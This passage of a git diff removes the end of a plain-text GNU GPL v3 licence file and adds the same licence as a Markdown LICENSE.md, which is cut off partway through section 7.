with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 000000000..85c7c6967 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,636 @@ +# GNU GENERAL PUBLIC LICENSE +Version 3, 29 June 2007 + +Copyright (C) 2007 [Free Software Foundation, Inc.](http://fsf.org/) + +Everyone is permitted to copy and distribute verbatim copies of this license +document, but changing it is not allowed. + +## Preamble + +The GNU General Public License is a free, copyleft license for software and +other kinds of works. + +The licenses for most software and other practical works are designed to take +away your freedom to share and change the works. By contrast, the GNU General +Public License is intended to guarantee your freedom to share and change all +versions of a program--to make sure it remains free software for all its users. +We, the Free Software Foundation, use the GNU General Public License for most +of our software; it applies also to any other work released this way by its +authors. You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our +General Public Licenses are designed to make sure that you have the freedom to +distribute copies of free software (and charge for them if you wish), that you +receive source code or can get it if you want it, that you can change the +software or use pieces of it in new free programs, and that you know you can do +these things. + +To protect your rights, we need to prevent others from denying you these rights +or asking you to surrender the rights. Therefore, you have certain +responsibilities if you distribute copies of the software, or if you modify it: +responsibilities to respect the freedom of others. + +For example, if you distribute copies of such a program, whether gratis or for +a fee, you must pass on to the recipients the same freedoms that you received. +You must make sure that they, too, receive or can get the source code. And you +must show them these terms so they know their rights. + +Developers that use the GNU GPL protect your rights with two steps: + + 1. assert copyright on the software, and + 2. offer you this License giving you legal permission to copy, distribute + and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains that +there is no warranty for this free software. For both users' and authors' sake, +the GPL requires that modified versions be marked as changed, so that their +problems will not be attributed erroneously to authors of previous versions. + +Some devices are designed to deny users access to install or run modified +versions of the software inside them, although the manufacturer can do so. This +is fundamentally incompatible with the aim of protecting users' freedom to +change the software. The systematic pattern of such abuse occurs in the area of +products for individuals to use, which is precisely where it is most +unacceptable. Therefore, we have designed this version of the GPL to prohibit +the practice for those products. If such problems arise substantially in other +domains, we stand ready to extend this provision to those domains in future +versions of the GPL, as needed to protect the freedom of users. + +Finally, every program is threatened constantly by software patents. States +should not allow patents to restrict development and use of software on +general-purpose computers, but in those that do, we wish to avoid the special +danger that patents applied to a free program could make it effectively +proprietary. To prevent this, the GPL assures that patents cannot be used to +render the program non-free. + +The precise terms and conditions for copying, distribution and modification +follow. + +## TERMS AND CONDITIONS + +### 0. Definitions. + +*This License* refers to version 3 of the GNU General Public License. + +*Copyright* also means copyright-like laws that apply to other kinds of works, +such as semiconductor masks. + +*The Program* refers to any copyrightable work licensed under this License. +Each licensee is addressed as *you*. *Licensees* and *recipients* may be +individuals or organizations. + +To *modify* a work means to copy from or adapt all or part of the work in a +fashion requiring copyright permission, other than the making of an exact copy. +The resulting work is called a *modified version* of the earlier work or a work +*based on* the earlier work. + +A *covered work* means either the unmodified Program or a work based on the +Program. + +To *propagate* a work means to do anything with it that, without permission, +would make you directly or secondarily liable for infringement under applicable +copyright law, except executing it on a computer or modifying a private copy. +Propagation includes copying, distribution (with or without modification), +making available to the public, and in some countries other activities as well. + +To *convey* a work means any kind of propagation that enables other parties to +make or receive copies. Mere interaction with a user through a computer +network, with no transfer of a copy, is not conveying. + +An interactive user interface displays *Appropriate Legal Notices* to the +extent that it includes a convenient and prominently visible feature that + + 1. displays an appropriate copyright notice, and + 2. tells the user that there is no warranty for the work (except to the + extent that warranties are provided), that licensees may convey the work + under this License, and how to view a copy of this License. + +If the interface presents a list of user commands or options, such as a menu, a +prominent item in the list meets this criterion. + +### 1. Source Code. + +The *source code* for a work means the preferred form of the work for making +modifications to it. *Object code* means any non-source form of a work. + +A *Standard Interface* means an interface that either is an official standard +defined by a recognized standards body, or, in the case of interfaces specified +for a particular programming language, one that is widely used among developers +working in that language. + +The *System Libraries* of an executable work include anything, other than the +work as a whole, that (a) is included in the normal form of packaging a Major +Component, but which is not part of that Major Component, and (b) serves only +to enable use of the work with that Major Component, or to implement a Standard +Interface for which an implementation is available to the public in source code +form. A *Major Component*, in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system (if any) on +which the executable work runs, or a compiler used to produce the work, or an +object code interpreter used to run it. + +The *Corresponding Source* for a work in object code form means all the source +code needed to generate, install, and (for an executable work) run the object +code and to modify the work, including scripts to control those activities. +However, it does not include the work's System Libraries, or general-purpose +tools or generally available free programs which are used unmodified in +performing those activities but which are not part of the work. For example, +Corresponding Source includes interface definition files associated with source +files for the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, such as +by intimate data communication or control flow between those subprograms and +other parts of the work. + +The Corresponding Source need not include anything that users can regenerate +automatically from other parts of the Corresponding Source. + +The Corresponding Source for a work in source code form is that same work. + +### 2. Basic Permissions. + +All rights granted under this License are granted for the term of copyright on +the Program, and are irrevocable provided the stated conditions are met. This +License explicitly affirms your unlimited permission to run the unmodified +Program. The output from running a covered work is covered by this License only +if the output, given its content, constitutes a covered work. This License +acknowledges your rights of fair use or other equivalent, as provided by +copyright law. + +You may make, run and propagate covered works that you do not convey, without +conditions so long as your license otherwise remains in force. You may convey +covered works to others for the sole purpose of having them make modifications +exclusively for you, or provide you with facilities for running those works, +provided that you comply with the terms of this License in conveying all +material for which you do not control copyright. Those thus making or running +the covered works for you must do so exclusively on your behalf, under your +direction and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + +Conveying under any other circumstances is permitted solely under the +conditions stated below. Sublicensing is not allowed; section 10 makes it +unnecessary. + +### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological measure +under any applicable law fulfilling obligations under article 11 of the WIPO +copyright treaty adopted on 20 December 1996, or similar laws prohibiting or +restricting circumvention of such measures. + +When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention is +effected by exercising rights under this License with respect to the covered +work, and you disclaim any intention to limit operation or modification of the +work as a means of enforcing, against the work's users, your or third parties' +legal rights to forbid circumvention of technological measures. + +### 4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you receive it, +in any medium, provided that you conspicuously and appropriately publish on +each copy an appropriate copyright notice; keep intact all notices stating that +this License and any non-permissive terms added in accord with section 7 apply +to the code; keep intact all notices of the absence of any warranty; and give +all recipients a copy of this License along with the Program. + +You may charge any price or no price for each copy that you convey, and you may +offer support or warranty protection for a fee. + +### 5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to produce it +from the Program, in the form of source code under the terms of section 4, +provided that you also meet all of these conditions: + + - a) The work must carry prominent notices stating that you modified it, and + giving a relevant date. + - b) The work must carry prominent notices stating that it is released under + this License and any conditions added under section 7. This requirement + modifies the requirement in section 4 to *keep intact all notices*. + - c) You must license the entire work, as a whole, under this License to + anyone who comes into possession of a copy. This License will therefore + apply, along with any applicable section 7 additional terms, to the whole + of the work, and all its parts, regardless of how they are packaged. This + License gives no permission to license the work in any other way, but it + does not invalidate such permission if you have separately received it. + - d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your work need + not make them do so. + +A compilation of a covered work with other separate and independent works, +which are not by their nature extensions of the covered work, and which are not +combined with it such as to form a larger program, in or on a volume of a +storage or distribution medium, is called an *aggregate* if the compilation and +its resulting copyright are not used to limit the access or legal rights of the +compilation's users beyond what the individual works permit. Inclusion of a +covered work in an aggregate does not cause this License to apply to the other +parts of the aggregate. + +### 6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms of sections 4 +and 5, provided that you also convey the machine-readable Corresponding Source +under the terms of this License, in one of these ways: + + - a) Convey the object code in, or embodied in, a physical product (including + a physical distribution medium), accompanied by the Corresponding Source + fixed on a durable physical medium customarily used for software + interchange. + - b) Convey the object code in, or embodied in, a physical product (including + a physical distribution medium), accompanied by a written offer, valid for + at least three years and valid for as long as you offer spare parts or + customer support for that product model, to give anyone who possesses the + object code either + 1. a copy of the Corresponding Source for all the software in the product + that is covered by this License, on a durable physical medium + customarily used for software interchange, for a price no more than your + reasonable cost of physically performing this conveying of source, or + 2. access to copy the Corresponding Source from a network server at no + charge. + - c) Convey individual copies of the object code with a copy of the written + offer to provide the Corresponding Source. This alternative is allowed only + occasionally and noncommercially, and only if you received the object code + with such an offer, in accord with subsection 6b. + - d) Convey the object code by offering access from a designated place + (gratis or for a charge), and offer equivalent access to the Corresponding + Source in the same way through the same place at no further charge. You + need not require recipients to copy the Corresponding Source along with the + object code. If the place to copy the object code is a network server, the + Corresponding Source may be on a different server operated by you or a + third party) that supports equivalent copying facilities, provided you + maintain clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the Corresponding + Source, you remain obligated to ensure that it is available for as long as + needed to satisfy these requirements. + - e) Convey the object code using peer-to-peer transmission, provided you + inform other peers where the object code and Corresponding Source of the + work are being offered to the general public at no charge under subsection + 6d. + +A separable portion of the object code, whose source code is excluded from the +Corresponding Source as a System Library, need not be included in conveying the +object code work. + +A *User Product* is either + + 1. a *consumer product*, which means any tangible personal property which is + normally used for personal, family, or household purposes, or + 2. anything designed or sold for incorporation into a dwelling. + +In determining whether a product is a consumer product, doubtful cases shall be +resolved in favor of coverage. For a particular product received by a +particular user, *normally used* refers to a typical or common use of that +class of product, regardless of the status of the particular user or of the way +in which the particular user actually uses, or expects or is expected to use, +the product. A product is a consumer product regardless of whether the product +has substantial commercial, industrial or non-consumer uses, unless such uses +represent the only significant mode of use of the product. + +*Installation Information* for a User Product means any methods, procedures, +authorization keys, or other information required to install and execute +modified versions of a covered work in that User Product from a modified +version of its Corresponding Source. The information must suffice to ensure +that the continued functioning of the modified object code is in no case +prevented or interfered with solely because modification has been made. + +If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as part of a +transaction in which the right of possession and use of the User Product is +transferred to the recipient in perpetuity or for a fixed term (regardless of +how the transaction is characterized), the Corresponding Source conveyed under +this section must be accompanied by the Installation Information. But this +requirement does not apply if neither you nor any third party retains the +ability to install modified object code on the User Product (for example, the +work has been installed in ROM). + +The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates for a +work that has been modified or installed by the recipient, or for the User +Product in which it has been modified or installed. Access to a network may be +denied when the modification itself materially and adversely affects the +operation of the network or violates the rules and protocols for communication +across the network. + +Corresponding Source conveyed, and Installation Information provided, in accord +with this section must be in a format that is publicly documented (and with an +implementation available to the public in source code form), and must require +no special password or key for unpacking, reading or copying. + +### 7. Additional Terms. + +*Additional permissions* are terms that supplement the terms of this License by +making exceptions from one or more of its conditions. Additional permissions +that are applicable to the entire Program shall be treated as though they were +included in this License, to the extent that they are valid under applicable +law. If additional permissions apply only to part of the Program, that part may +be used separately under those permissions, but the entire Program remains +governed by this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option remove any +additional permissions from that copy, or from any part of it. (Additional +permissions may be written to require their own removal in certain cases when +you modify the work.) You may place additional permissions on material, added +by you to a covered work, for which you have or can give appropriate copyright +permission. + +Notwithstanding any other provision of this License, for material you add to a +covered work, you may (if authorized by the copyright holders of that material) +supplement the terms of this License with terms: + + - a) Disclaiming warranty or limiting liability differently from the terms of + sections 15 and 16 of this License; or + - b) Requiring preservation of specified reasonable legal notices or author + attributions in that material or in the Appropriate Legal Notices displayed + by works containing it; or + - c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in reasonable + ways as different from the original version; or + - d) Limiting the use for publicity purposes of names of licensors or authors + of the material; or + - e) Declining to grant rights under trademark law for use of some trade + names, trademarks, or service marks; or + - f) Requiring indemnification of licensors and authors of that material by + anyone who conveys the material (or modified versions of it) with + contractual assumptions of liability to the recipient, for any liability + that these contractual assumptions directly impose on those 